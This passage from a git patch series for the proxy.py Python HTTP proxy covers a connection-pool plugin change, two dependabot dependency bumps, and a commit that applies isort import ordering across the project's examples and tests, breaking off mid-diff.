...core.connection import UpstreamConnectionPool + class HttpWebServerBasePlugin(DescriptorsHandlerMixin, ABC): """Web Server Plugin for routing of requests.""" @@ -30,11 +33,13 @@ def __init__( flags: argparse.Namespace, client: TcpClientConnection, event_queue: EventQueue, + upstream_conn_pool: Optional['UpstreamConnectionPool'] = None, ): self.uid = uid self.flags = flags self.client = client self.event_queue = event_queue + self.upstream_conn_pool = upstream_conn_pool def name(self) -> str: """A unique name for your plugin. diff --git a/proxy/http/server/web.py b/proxy/http/server/web.py index d31b3e6c9f..fafc89e58a 100644 --- a/proxy/http/server/web.py +++ b/proxy/http/server/web.py @@ -106,6 +106,7 @@ def _initialize_web_plugins(self) -> None: self.flags, self.client, self.event_queue, + self.upstream_conn_pool, ) self.plugins[instance.name()] = instance for (protocol, route) in instance.routes(): diff --git a/tests/core/test_conn_pool.py b/tests/core/test_conn_pool.py index ae2d2c718e..7f38d993cf 100644 --- a/tests/core/test_conn_pool.py +++ b/tests/core/test_conn_pool.py @@ -21,30 +21,34 @@ class TestConnectionPool(unittest.TestCase): @mock.patch('proxy.core.connection.pool.TcpServerConnection') - def test_acquire_and_release_and_reacquire(self, mock_tcp_server_connection: mock.Mock) -> None: + def test_acquire_and_retain_and_reacquire(self, mock_tcp_server_connection: mock.Mock) -> None: pool = UpstreamConnectionPool() # Mock mock_conn = mock_tcp_server_connection.return_value addr = mock_conn.addr mock_conn.is_reusable.side_effect = [ - False, True, True, + True, ] mock_conn.closed = False # Acquire created, conn = pool.acquire(addr) - self.assertTrue(created) mock_tcp_server_connection.assert_called_once_with(addr[0], addr[1]) + mock_conn.mark_inuse.assert_called_once() + mock_conn.reset.assert_not_called() + self.assertTrue(created) self.assertEqual(conn, mock_conn) self.assertEqual(len(pool.pools[addr]), 1) self.assertTrue(conn in pool.pools[addr]) - # Release (connection must be retained because not closed) - pool.release(conn) + self.assertEqual(len(pool.connections), 1) + self.assertEqual(pool.connections[conn.connection.fileno()], mock_conn) + # Retail + pool.retain(conn) self.assertEqual(len(pool.pools[addr]), 1) self.assertTrue(conn in pool.pools[addr]) + mock_conn.reset.assert_called_once() # Reacquire created, conn = pool.acquire(addr) self.assertFalse(created) - mock_conn.reset.assert_called_once() self.assertEqual(conn, mock_conn) self.assertEqual(len(pool.pools[addr]), 1) self.assertTrue(conn in pool.pools[addr]) From 8b1b619e6c7f1124e65db443e983ced56b0d1884 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 10 Jan 2022 12:38:03 +0530 Subject: [PATCH 11/38] npm: bump chrome-devtools-frontend in /dashboard (#949) Bumps [chrome-devtools-frontend](https://github.com/ChromeDevTools/devtools-frontend) from 1.0.952865 to 1.0.956881. - [Release notes](https://github.com/ChromeDevTools/devtools-frontend/releases) - [Changelog](https://github.com/ChromeDevTools/devtools-frontend/blob/main/docs/release_management.md) - [Commits](https://github.com/ChromeDevTools/devtools-frontend/commits) --- updated-dependencies: - dependency-name: chrome-devtools-frontend dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- dashboard/package-lock.json | 14 +++++++------- dashboard/package.json | 2 +- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/dashboard/package-lock.json b/dashboard/package-lock.json index 4fc1421740..e42c951d8a 100644 --- a/dashboard/package-lock.json +++ b/dashboard/package-lock.json @@ -14,7 +14,7 @@ "@types/js-cookie": "^3.0.1", "@typescript-eslint/eslint-plugin": "^2.34.0", "@typescript-eslint/parser": "^2.34.0", - "chrome-devtools-frontend": "^1.0.952865", + "chrome-devtools-frontend": "^1.0.956881", "eslint": "^6.8.0", "eslint-config-standard": "^14.1.1", "eslint-plugin-import": "^2.25.3", @@ -728,9 +728,9 @@ } }, "node_modules/chrome-devtools-frontend": { - "version": "1.0.952865", - "resolved": "https://registry.npmjs.org/chrome-devtools-frontend/-/chrome-devtools-frontend-1.0.952865.tgz", - "integrity": "sha512-ewbHzHGo1UlK1WGokSzbavc65f/alJG3h+HEdgu0VohN9n3pc9AlfH26OZdzQEhWte2a3NWWmJksjR/Opcm+gQ==", + "version": "1.0.956881", + "resolved": "https://registry.npmjs.org/chrome-devtools-frontend/-/chrome-devtools-frontend-1.0.956881.tgz", + "integrity": "sha512-NAbdED7q77qhpNAOSNgbNHGTOvTeKCEwaurWEE/uVMtVbTRu7qPcAExbeeIbRtKT7KguwdUqpG7P3WrzFLIhxw==", "dev": true }, "node_modules/cli-cursor": { @@ -5969,9 +5969,9 @@ "dev": true }, "chrome-devtools-frontend": { - "version": "1.0.952865", - "resolved": "https://registry.npmjs.org/chrome-devtools-frontend/-/chrome-devtools-frontend-1.0.952865.tgz", - "integrity": "sha512-ewbHzHGo1UlK1WGokSzbavc65f/alJG3h+HEdgu0VohN9n3pc9AlfH26OZdzQEhWte2a3NWWmJksjR/Opcm+gQ==", + "version": "1.0.956881", + "resolved": "https://registry.npmjs.org/chrome-devtools-frontend/-/chrome-devtools-frontend-1.0.956881.tgz", + "integrity": "sha512-NAbdED7q77qhpNAOSNgbNHGTOvTeKCEwaurWEE/uVMtVbTRu7qPcAExbeeIbRtKT7KguwdUqpG7P3WrzFLIhxw==", "dev": true }, "cli-cursor": { diff --git a/dashboard/package.json b/dashboard/package.json index 74fb599c73..22585f5405 100644 --- a/dashboard/package.json +++ b/dashboard/package.json @@ -30,7 +30,7 @@ "@types/js-cookie": "^3.0.1", "@typescript-eslint/eslint-plugin": "^2.34.0", "@typescript-eslint/parser": "^2.34.0", - "chrome-devtools-frontend": "^1.0.952865", + "chrome-devtools-frontend": "^1.0.956881", "eslint": "^6.8.0", "eslint-config-standard": "^14.1.1", "eslint-plugin-import": "^2.25.3", From 9344a54fbe5d67cdf107deeccabda09c3806e921 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 10 Jan 2022 12:56:16 +0530 Subject: [PATCH 12/38] pip prod(deps): bump sphinxcontrib-towncrier from 0.2.0a0 to 0.2.1a0 (#941) Bumps [sphinxcontrib-towncrier](https://github.com/sphinx-contrib/sphinxcontrib-towncrier) from 0.2.0a0 to 0.2.1a0. - [Release notes](https://github.com/sphinx-contrib/sphinxcontrib-towncrier/releases) - [Commits](https://github.com/sphinx-contrib/sphinxcontrib-towncrier/compare/v0.2.0a0...v0.2.1a0) --- updated-dependencies: - dependency-name: sphinxcontrib-towncrier dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> --- docs/requirements.txt | 24 ++++-------------------- 1 file changed, 4 insertions(+), 20 deletions(-) diff --git a/docs/requirements.txt b/docs/requirements.txt index 4a87aa4f7d..1791fe393d 100644 --- a/docs/requirements.txt +++ b/docs/requirements.txt @@ -31,9 +31,7 @@ charset-normalizer==2.0.7 \ click==8.0.3 \ --hash=sha256:353f466495adaeb40b6b5f592f9f91cb22372351c84caeb068132442a4518ef3 \ --hash=sha256:410e932b050f5eed773c4cda94de75971c89cdb3155a72a0831139a79e5ecb5b - # via - # click-default-group - # towncrier + # via towncrier click-default-group==1.2.2 \ --hash=sha256:d9560e8e8dfa44b3562fbc9425042a0fd6d21956fcc2db0077f63f34253ab904 # via towncrier @@ -55,10 +53,6 @@ imagesize==1.3.0 \ --hash=sha256:1db2f82529e53c3e929e8926a1fa9235aa82d0bd0c580359c67ec31b2fddaa8c \ --hash=sha256:cd1750d452385ca327479d45b64d9c7729ecf0b3969a58148298c77092261f9d # via sphinx -importlib-metadata==4.10.0 \ - --hash=sha256:92a8b58ce734b2a4494878e0ecf7d79ccd7a128b5fc6014c401e0b61f006f0f6 \ - --hash=sha256:b7cf7d3fef75f1e4c80a96ca660efbd51473d7e8f39b5ab9210febc7809012a4 - # via click incremental==21.3.0 \ --hash=sha256:02f5de5aff48f6b9f665d99d48bfc7ec03b6e3943210de7cfc88856d755d6f57 \ --hash=sha256:92014aebc6a20b78a8084cdd5645eeaa7f74b8933f70fa3ada2cfbd1e3b54321 @@ -271,9 +265,9 @@ sphinxcontrib-serializinghtml==1.1.5 \ --hash=sha256:352a9a00ae864471d3a7ead8d7d79f5fc0b57e8b3f95e9867eb9eb28999b92fd \ --hash=sha256:aa5f6de5dfdf809ef505c4895e51ef5c9eac17d0f287933eb49ec495280b6952 # via sphinx -sphinxcontrib-towncrier==0.2.0a0 \ - --hash=sha256:31eed078e0a8b4c38dc30978dac8c53e2dfa7342ad8597d11816d1ea9ab0eabb \ - --hash=sha256:3cd4295c0198e753d964e2c06ee4ecd91a73a8d103385d08af9b05487ae68dd0 +sphinxcontrib-towncrier==0.2.1a0 \ + --hash=sha256:a6fac6091a8ee12664d9b1f50a1504cb662380bf8d3bd0f267ebbf4483aa9c18 \ + --hash=sha256:b15ee84aa6288173487988514b589155ef38ac6c55ab014a774102f9dc884f41 # via -r docs/requirements.in toml==0.10.2 \ --hash=sha256:806143ae5bfb6a3c6e736a764057db0e6a0e05e338b5630894a5f779cabb4f9b \ @@ -287,12 +281,6 @@ towncrier==21.3.0 \ --hash=sha256:6eed0bc924d72c98c000cb8a64de3bd566e5cb0d11032b73fcccf8a8f956ddfe \ --hash=sha256:e6ccec65418bbcb8de5c908003e130e37fe0e9d6396cb77c1338241071edc082 # via sphinxcontrib-towncrier -typing-extensions==4.0.1 \ - --hash=sha256:4ca091dea149f945ec56afb48dae714f21e8692ef22a395223bcd328961b6a0e \ - --hash=sha256:7f001e5ac290a0c0401508864c7ec868be4e701886d5b573a9528ed3973d9d3b - # via - # importlib-metadata - # markdown-it-py uc-micro-py==1.0.1 \ --hash=sha256:316cfb8b6862a0f1d03540f0ae6e7b033ff1fa0ddbe60c12cbe0d4cec846a69f \ --hash=sha256:b7cdf4ea79433043ddfe2c82210208f26f7962c0cfbe3bacb05ee879a7fdb596 @@ -301,10 +289,6 @@ urllib3==1.26.7 \ --hash=sha256:4987c65554f7a2dbf30c18fd48778ef124af6fab771a377103da0585e2336ece \ --hash=sha256:c4fdf4019605b6e5423637e01bc9fe4daef873709a7973e195ceba0a62bbc844 # via requests -zipp==3.6.0 \ - --hash=sha256:71c644c5369f4a6e07636f0aa966270449561fcea2e3d6747b8d23efaa9d7832 \ - --hash=sha256:9fe5ea21568a0a70e50f273397638d39b03353731e6cbbb3fd8502a33fec40bc - # via importlib-metadata # The following packages are considered to be unsafe in a requirements file: setuptools==59.0.1 \ From 35e9c57af7c6e312ec6f22fad2137f5500b0ff15 Mon Sep 17 00:00:00 2001 From: Abhinav Singh <126065+abhinavsingh@users.noreply.github.com> Date: Mon, 10 Jan 2022 13:28:22 +0530 Subject: [PATCH 13/38] `isort` everything except lib (for now) (#952) * isort the tests folder * Carry over changes from #672 * Disable pre-commit * Revert flake8 config change * isort examples too --- .isort.cfg | 24 +++++++++++++++ .pre-commit-config.yaml | 2 +- check.py | 3 +- examples/https_connect_tunnel.py | 8 ++--- examples/pubsub_eventing.py | 10 ++++--- examples/ssl_echo_client.py | 1 + examples/ssl_echo_server.py | 3 +- examples/tcp_echo_client.py | 1 + examples/web_scraper.py | 2 +- examples/websocket_client.py | 5 +++- tests/__init__.py | 1 + tests/common/test_flags.py | 9 +++--- tests/common/test_pki.py | 5 ++-- tests/common/test_utils.py | 9 ++++-- tests/core/test_acceptor.py | 5 ++-- tests/core/test_acceptor_pool.py | 1 - tests/core/test_conn_pool.py | 5 ++-- tests/core/test_connection.py | 17 +++++++---- tests/core/test_event_dispatcher.py | 7 ++--- tests/core/test_event_manager.py | 1 - tests/core/test_event_queue.py | 4 +-- tests/core/test_event_subscriber.py | 9 ++++-- tests/core/test_listener.py | 7 ++--- .../exceptions/test_http_proxy_auth_failed.py | 8 ++--- .../exceptions/test_http_request_rejected.py | 2 +- tests/http/test_chunk_parser.py | 2 +- tests/http/test_http2.py | 5 ++-- tests/http/test_http_parser.py | 10 +++---- tests/http/test_http_proxy.py | 13 ++++---- .../http/test_http_proxy_tls_interception.py | 14 ++++----- tests/http/test_protocol_handler.py | 26 ++++++++-------- tests/http/test_proxy_protocol.py | 2 +- tests/http/test_tls_parser.py | 4 +-- tests/http/test_web_server.py | 21 ++++++------- tests/http/test_websocket_client.py | 6 ++-- tests/integration/test_integration.py | 8 ++--- tests/plugin/test_http_proxy_plugins.py | 24 +++++++-------- ...ttp_proxy_plugins_with_tls_interception.py | 18 +++++------ tests/plugin/utils.py | 9 ++++-- tests/test_circular_imports.py | 12 ++++---- tests/test_main.py | 30 +++++++++++-------- tests/test_set_open_file_limit.py | 6 ++-- tests/testing/test_embed.py | 8 +++-- tests/testing/test_test_case.py | 2 +- 44 files changed, 209 insertions(+), 160 deletions(-) create mode 100644 .isort.cfg diff --git a/.isort.cfg b/.isort.cfg new file mode 100644 index 0000000000..88a87bdf69 --- /dev/null +++ b/.isort.cfg @@ -0,0 +1,24 @@ +# https://github.com/timothycrosley/isort/wiki/isort-Settings +[settings] +default_section = THIRDPARTY +# force_to_top=file1.py,file2.py +# forced_separate = django.contrib,django.utils +include_trailing_comma = true +indent = 4 +known_first_party = proxy +# known_future_library = future,pies +# known_standard_library = std,std2 +known_testing = pytest,unittest +length_sort = 1 +# Should be: 80 - 1 +line_length = 79 +lines_after_imports = 2 +# https://pycqa.github.io/isort/docs/configuration/multi_line_output_modes.html +# NOTE: Another mode could be "5" for grouping multiple "import from" under +# NOTE: a single instruction. +multi_line_output = 5 +no_lines_before = LOCALFOLDER +sections=FUTURE,STDLIB,TESTING,THIRDPARTY,FIRSTPARTY,LOCALFOLDER +# skip=file3.py,file4.py +use_parentheses = true +verbose = true diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 516e19abc3..f6243648ef 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -8,7 +8,7 @@ repos: - --py36-plus # - repo: https://github.com/timothycrosley/isort.git -# rev: 5.4.2 +# rev: 5.10.0 # hooks: # - id: isort # args: diff --git a/check.py b/check.py index 59147caf53..37320f79dc 100644 --- a/check.py +++ b/check.py @@ -10,10 +10,11 @@ """ import sys import subprocess - from pathlib import Path + from proxy.common.version import __version__ as lib_version + # This script ensures our versions never run out of sync. # # 1. TODO: Version is hardcoded in homebrew stable package diff --git a/examples/https_connect_tunnel.py b/examples/https_connect_tunnel.py index 21ef67e3e3..16626c81d7 100644 --- a/examples/https_connect_tunnel.py +++ b/examples/https_connect_tunnel.py @@ -9,18 +9,14 @@ :license: BSD, see LICENSE for more details. """ import time - from typing import Any, Optional from proxy import Proxy - +from proxy.core.base import BaseTcpTunnelHandler from proxy.http.responses import ( - PROXY_TUNNEL_ESTABLISHED_RESPONSE_PKT, - PROXY_TUNNEL_UNSUPPORTED_SCHEME, + PROXY_TUNNEL_UNSUPPORTED_SCHEME, PROXY_TUNNEL_ESTABLISHED_RESPONSE_PKT, ) -from proxy.core.base import BaseTcpTunnelHandler - class HttpsConnectTunnelHandler(BaseTcpTunnelHandler): """A https CONNECT tunnel.""" diff --git a/examples/pubsub_eventing.py b/examples/pubsub_eventing.py index 607cf4536e..101a8d540c 100644 --- a/examples/pubsub_eventing.py +++ b/examples/pubsub_eventing.py @@ -9,13 +9,15 @@ :license: BSD, see LICENSE for more details. """ import time -import multiprocessing import logging +import multiprocessing +from typing import Any, Dict, Optional -from typing import Dict, Any, Optional - +from proxy.core.event import ( + EventQueue, EventManager, EventSubscriber, eventNames, +) from proxy.common.constants import DEFAULT_LOG_FORMAT -from proxy.core.event import EventManager, EventQueue, EventSubscriber, eventNames + logging.basicConfig(level=logging.DEBUG, format=DEFAULT_LOG_FORMAT) diff --git a/examples/ssl_echo_client.py b/examples/ssl_echo_client.py index 3c8f2d8cc5..37b2f19890 100644 --- a/examples/ssl_echo_client.py +++ b/examples/ssl_echo_client.py @@ -13,6 +13,7 @@ from proxy.core.connection import TcpServerConnection from proxy.common.constants import DEFAULT_BUFFER_SIZE + logger = logging.getLogger(__name__) if __name__ == '__main__': diff --git a/examples/ssl_echo_server.py b/examples/ssl_echo_server.py index 65432f3719..433af3878d 100644 --- a/examples/ssl_echo_server.py +++ b/examples/ssl_echo_server.py @@ -12,11 +12,10 @@ from typing import Optional from proxy import Proxy +from proxy.core.base import BaseTcpServerHandler from proxy.common.utils import wrap_socket from proxy.core.connection import TcpClientConnection -from proxy.core.base import BaseTcpServerHandler - class EchoSSLServerHandler(BaseTcpServerHandler): """Wraps client socket during initialization.""" diff --git a/examples/tcp_echo_client.py b/examples/tcp_echo_client.py index e62230f13e..9ddecbd614 100644 --- a/examples/tcp_echo_client.py +++ b/examples/tcp_echo_client.py @@ -13,6 +13,7 @@ from proxy.common.utils import socket_connection from proxy.common.constants import DEFAULT_BUFFER_SIZE + logger = logging.getLogger(__name__) if __name__ == '__main__': diff --git a/examples/web_scraper.py b/examples/web_scraper.py index c08e58a938..8168dca09d 100644 --- a/examples/web_scraper.py +++ b/examples/web_scraper.py @@ -11,9 +11,9 @@ import time from proxy import Proxy +from proxy.common.types import Readables, Writables, SelectableEvents from proxy.core.acceptor import Work from proxy.core.connection import TcpClientConnection -from proxy.common.types import Readables, SelectableEvents, Writables class WebScraper(Work[TcpClientConnection]): diff --git a/examples/websocket_client.py b/examples/websocket_client.py index 48a217b4d3..8c18a6e55d 100644 --- a/examples/websocket_client.py +++ b/examples/websocket_client.py @@ -11,7 +11,10 @@ import time import logging -from proxy.http.websocket import WebsocketClient, WebsocketFrame, websocketOpcodes +from proxy.http.websocket import ( + WebsocketFrame, WebsocketClient, websocketOpcodes, +) + # globals client: WebsocketClient diff --git a/tests/__init__.py b/tests/__init__.py index 891fe5fddd..5831815f1f 100644 --- a/tests/__init__.py +++ b/tests/__init__.py @@ -12,4 +12,5 @@ from proxy.common.constants import DEFAULT_LOG_FORMAT + logging.basicConfig(level=logging.DEBUG, format=DEFAULT_LOG_FORMAT) diff --git a/tests/common/test_flags.py b/tests/common/test_flags.py index a8791d5ce4..1fc92119c5 100644 --- a/tests/common/test_flags.py +++ b/tests/common/test_flags.py @@ -8,16 +8,15 @@ :copyright: (c) 2013-present by Abhinav Singh and contributors. :license: BSD, see LICENSE for more details. """ -import unittest +from typing import Dict, List +import unittest from unittest import mock -from typing import List, Dict +from proxy.plugin import CacheResponsesPlugin, FilterByUpstreamHostPlugin from proxy.http.proxy import HttpProxyPlugin -from proxy.plugin import CacheResponsesPlugin -from proxy.plugin import FilterByUpstreamHostPlugin -from proxy.common.utils import bytes_ from proxy.common.flag import FlagParser +from proxy.common.utils import bytes_ from proxy.common.version import __version__ from proxy.common.constants import PLUGIN_HTTP_PROXY, PY2_DEPRECATION_MESSAGE diff --git a/tests/common/test_pki.py b/tests/common/test_pki.py index 1abcb1c625..2bbebe06bb 100644 --- a/tests/common/test_pki.py +++ b/tests/common/test_pki.py @@ -10,11 +10,12 @@ """ import os import tempfile -import unittest import subprocess -from unittest import mock from typing import Tuple +import unittest +from unittest import mock + from proxy.common import pki diff --git a/tests/common/test_utils.py b/tests/common/test_utils.py index 6d6217a641..4123aa9eaa 100644 --- a/tests/common/test_utils.py +++ b/tests/common/test_utils.py @@ -9,12 +9,15 @@ :license: BSD, see LICENSE for more details. """ import socket + import unittest from unittest import mock -from proxy.common.constants import DEFAULT_IPV6_HOSTNAME, DEFAULT_IPV4_HOSTNAME, DEFAULT_PORT, DEFAULT_TIMEOUT -from proxy.common.constants import DEFAULT_HTTP_PORT -from proxy.common.utils import new_socket_connection, socket_connection +from proxy.common.utils import socket_connection, new_socket_connection +from proxy.common.constants import ( + DEFAULT_PORT, DEFAULT_TIMEOUT, DEFAULT_HTTP_PORT, DEFAULT_IPV4_HOSTNAME, + DEFAULT_IPV6_HOSTNAME, +) class TestSocketConnectionUtils(unittest.TestCase): diff --git a/tests/core/test_acceptor.py b/tests/core/test_acceptor.py index 89bbce46aa..8f7a529b6a 100644 --- a/tests/core/test_acceptor.py +++ b/tests/core/test_acceptor.py @@ -8,14 +8,15 @@ :copyright: (c) 2013-present by Abhinav Singh and contributors. :license: BSD, see LICENSE for more details. """ -import unittest import socket import selectors import multiprocessing + +import unittest from unittest import mock -from proxy.core.acceptor import Acceptor from proxy.common.flag import FlagParser +from proxy.core.acceptor import Acceptor class TestAcceptor(unittest.TestCase): diff --git a/tests/core/test_acceptor_pool.py b/tests/core/test_acceptor_pool.py index 5241bd4341..d35b80e10d 100644 --- a/tests/core/test_acceptor_pool.py +++ b/tests/core/test_acceptor_pool.py @@ -9,7 +9,6 @@ :license: BSD, see LICENSE for more details. """ import unittest - from unittest import mock from proxy.common.flag import FlagParser diff --git a/tests/core/test_conn_pool.py b/tests/core/test_conn_pool.py index 7f38d993cf..6547a0de81 100644 --- a/tests/core/test_conn_pool.py +++ b/tests/core/test_conn_pool.py @@ -8,11 +8,12 @@ :copyright: (c) 2013-present by Abhinav Singh and contributors. :license: BSD, see LICENSE for more details. """ -import pytest -import unittest import selectors +import pytest +import unittest from unittest import mock + from pytest_mock import MockerFixture from proxy.core.connection import UpstreamConnectionPool diff --git a/tests/core/test_connection.py b/tests/core/test_connection.py index 95bc000626..b3c00ad708 100644 --- a/tests/core/test_connection.py +++ b/tests/core/test_connection.py @@ -8,15 +8,20 @@ :copyright: (c) 2013-present by Abhinav Singh and contributors. :license: BSD, see LICENSE for more details. """ -import unittest -import socket import ssl +import socket +from typing import Union, Optional + +import unittest from unittest import mock -from typing import Optional, Union -from proxy.core.connection import tcpConnectionTypes, TcpConnectionUninitializedException -from proxy.core.connection import TcpServerConnection, TcpConnection, TcpClientConnection -from proxy.common.constants import DEFAULT_IPV6_HOSTNAME, DEFAULT_PORT, DEFAULT_IPV4_HOSTNAME +from proxy.core.connection import ( + TcpConnection, TcpClientConnection, TcpServerConnection, + TcpConnectionUninitializedException, tcpConnectionTypes, +) +from proxy.common.constants import ( + DEFAULT_PORT, DEFAULT_IPV4_HOSTNAME, DEFAULT_IPV6_HOSTNAME, +) class TestTcpConnection(unittest.TestCase): diff --git a/tests/core/test_event_dispatcher.py b/tests/core/test_event_dispatcher.py index 74e7b7187e..63999187b6 100644 --- a/tests/core/test_event_dispatcher.py +++ b/tests/core/test_event_dispatcher.py @@ -9,16 +9,15 @@ :license: BSD, see LICENSE for more details. """ import os -import threading -import unittest import queue +import threading import multiprocessing - from multiprocessing import connection +import unittest from unittest import mock -from proxy.core.event import EventDispatcher, EventQueue, eventNames +from proxy.core.event import EventQueue, EventDispatcher, eventNames class TestEventDispatcher(unittest.TestCase): diff --git a/tests/core/test_event_manager.py b/tests/core/test_event_manager.py index 5f532a95fe..0685f997a8 100644 --- a/tests/core/test_event_manager.py +++ b/tests/core/test_event_manager.py @@ -9,7 +9,6 @@ :license: BSD, see LICENSE for more details. """ import unittest - from unittest import mock from proxy.core.event import EventManager diff --git a/tests/core/test_event_queue.py b/tests/core/test_event_queue.py index 174d573244..29c4299805 100644 --- a/tests/core/test_event_queue.py +++ b/tests/core/test_event_queue.py @@ -8,11 +8,11 @@ :copyright: (c) 2013-present by Abhinav Singh and contributors. :license: BSD, see LICENSE for more details. """ -import multiprocessing import os import threading -import unittest +import multiprocessing +import unittest from unittest import mock from proxy.core.event import EventQueue, eventNames diff --git a/tests/core/test_event_subscriber.py b/tests/core/test_event_subscriber.py index 3ce8dcb844..59be997d41 100644 --- a/tests/core/test_event_subscriber.py +++ b/tests/core/test_event_subscriber.py @@ -11,13 +11,16 @@ import os import queue import threading -import unittest import multiprocessing -from typing import Dict, Any +from typing import Any, Dict +import unittest from unittest import mock -from proxy.core.event import EventQueue, EventDispatcher, EventSubscriber, eventNames +from proxy.core.event import ( + EventQueue, EventDispatcher, EventSubscriber, eventNames, +) + PUBLISHER_ID = threading.get_ident() diff --git a/tests/core/test_listener.py b/tests/core/test_listener.py index 8d5706953b..79ab28a78d 100644 --- a/tests/core/test_listener.py +++ b/tests/core/test_listener.py @@ -11,15 +11,14 @@ import os import socket import tempfile -import unittest - -from unittest import mock import pytest +import unittest +from unittest import mock +from proxy.common.flag import FlagParser from proxy.core.acceptor import Listener from proxy.common.constants import IS_WINDOWS -from proxy.common.flag import FlagParser class TestListener(unittest.TestCase): diff --git a/tests/http/exceptions/test_http_proxy_auth_failed.py b/tests/http/exceptions/test_http_proxy_auth_failed.py index 23a3b4dcd5..e0695bcdb0 100644 --- a/tests/http/exceptions/test_http_proxy_auth_failed.py +++ b/tests/http/exceptions/test_http_proxy_auth_failed.py @@ -8,17 +8,17 @@ :copyright: (c) 2013-present by Abhinav Singh and contributors. :license: BSD, see LICENSE for more details. """ -import pytest import selectors +import pytest + from pytest_mock import MockerFixture -from proxy.common.flag import FlagParser from proxy.http import HttpProtocolHandler, httpHeaders +from proxy.common.flag import FlagParser +from proxy.common.utils import build_http_request from proxy.http.responses import PROXY_AUTH_FAILED_RESPONSE_PKT from proxy.core.connection import TcpClientConnection -from proxy.common.utils import build_http_request - from ...test_assertions import Assertions diff --git a/tests/http/exceptions/test_http_request_rejected.py b/tests/http/exceptions/test_http_request_rejected.py index 69a9611339..9a6652d6b8 100644 --- a/tests/http/exceptions/test_http_request_rejected.py +++ b/tests/http/exceptions/test_http_request_rejected.py @@ -12,9 +12,9 @@ from proxy.http import httpStatusCodes from proxy.http.parser import HttpParser, httpParserTypes +from proxy.common.utils import build_http_response from proxy.http.exception import HttpRequestRejected from proxy.common.constants import CRLF -from proxy.common.utils import build_http_response class TestHttpRequestRejected(unittest.TestCase): diff --git a/tests/http/test_chunk_parser.py b/tests/http/test_chunk_parser.py index 68d10781b8..1fde17256a 100644 --- a/tests/http/test_chunk_parser.py +++ b/tests/http/test_chunk_parser.py @@ -10,7 +10,7 @@ """ import unittest -from proxy.http.parser import chunkParserStates, ChunkParser +from proxy.http.parser import ChunkParser, chunkParserStates class TestChunkParser(unittest.TestCase): diff --git a/tests/http/test_http2.py b/tests/http/test_http2.py index 942e5edf8b..e8462aab3d 100644 --- a/tests/http/test_http2.py +++ b/tests/http/test_http2.py @@ -8,11 +8,12 @@ :copyright: (c) 2013-present by Abhinav Singh and contributors. :license: BSD, see LICENSE for more details. """ -import httpx import pytest -from proxy.common.constants import IS_WINDOWS +import httpx + from proxy import TestCase +from proxy.common.constants import IS_WINDOWS class TestHttp2WithProxy(TestCase): diff --git a/tests/http/test_http_parser.py b/tests/http/test_http_parser.py index 0489b85741..b817847775 100644 --- a/tests/http/test_http_parser.py +++ b/tests/http/test_http_parser.py @@ -10,14 +10,14 @@ """ import unittest -from proxy.common.constants import CRLF, HTTP_1_0 -from proxy.common.utils import build_http_request, build_http_header -from proxy.common.utils import find_http_line, bytes_ - from proxy.http import httpMethods -from proxy.http.exception import HttpProtocolException from proxy.http.parser import HttpParser, httpParserTypes, httpParserStates +from proxy.common.utils import ( + bytes_, find_http_line, build_http_header, build_http_request, +) +from proxy.http.exception import HttpProtocolException from proxy.http.responses import okResponse +from proxy.common.constants import CRLF, HTTP_1_0 class TestHttpParser(unittest.TestCase): diff --git a/tests/http/test_http_proxy.py b/tests/http/test_http_proxy.py index 6c09776d2c..54789ff8a9 100644 --- a/tests/http/test_http_proxy.py +++ b/tests/http/test_http_proxy.py @@ -8,18 +8,19 @@ :copyright: (c) 2013-present by Abhinav Singh and contributors. :license: BSD, see LICENSE for more details. """ -import pytest import selectors +import pytest + from pytest_mock import MockerFixture -from proxy.common.constants import DEFAULT_HTTP_PORT -from proxy.common.flag import FlagParser -from proxy.core.connection import TcpClientConnection -from proxy.http.proxy import HttpProxyPlugin from proxy.http import HttpProtocolHandler -from proxy.http.exception import HttpProtocolException +from proxy.http.proxy import HttpProxyPlugin +from proxy.common.flag import FlagParser from proxy.common.utils import build_http_request +from proxy.http.exception import HttpProtocolException +from proxy.core.connection import TcpClientConnection +from proxy.common.constants import DEFAULT_HTTP_PORT class TestHttpProxyPlugin: diff --git a/tests/http/test_http_proxy_tls_interception.py b/tests/http/test_http_proxy_tls_interception.py index af8de9ce0a..dcc81a6e6c 100644 --- a/tests/http/test_http_proxy_tls_interception.py +++ b/tests/http/test_http_proxy_tls_interception.py @@ -11,21 +11,21 @@ import ssl import uuid import socket -import pytest import selectors - from typing import Any -from pytest_mock import MockerFixture + +import pytest from unittest import mock -from proxy.common.constants import DEFAULT_CA_FILE -from proxy.common.utils import build_http_request, bytes_ -from proxy.common.flag import FlagParser +from pytest_mock import MockerFixture + from proxy.http import HttpProtocolHandler, httpMethods from proxy.http.proxy import HttpProxyPlugin +from proxy.common.flag import FlagParser +from proxy.common.utils import bytes_, build_http_request from proxy.http.responses import PROXY_TUNNEL_ESTABLISHED_RESPONSE_PKT from proxy.core.connection import TcpClientConnection, TcpServerConnection - +from proxy.common.constants import DEFAULT_CA_FILE from ..test_assertions import Assertions diff --git a/tests/http/test_protocol_handler.py b/tests/http/test_protocol_handler.py index 9adb0bb683..6faf99f34b 100644 --- a/tests/http/test_protocol_handler.py +++ b/tests/http/test_protocol_handler.py @@ -9,29 +9,29 @@ :license: BSD, see LICENSE for more details. """ import base64 -import pytest import selectors +from typing import Any, cast +import pytest from unittest import mock + from pytest_mock import MockerFixture -from typing import cast, Any -from proxy.common.plugins import Plugins +from proxy.http import HttpProtocolHandler, httpHeaders +from proxy.http.proxy import HttpProxyPlugin from proxy.common.flag import FlagParser -from proxy.common.version import __version__ +from proxy.http.parser import HttpParser, httpParserTypes, httpParserStates from proxy.common.utils import bytes_ -from proxy.common.constants import CRLF, PLUGIN_HTTP_PROXY, PLUGIN_PROXY_AUTH, 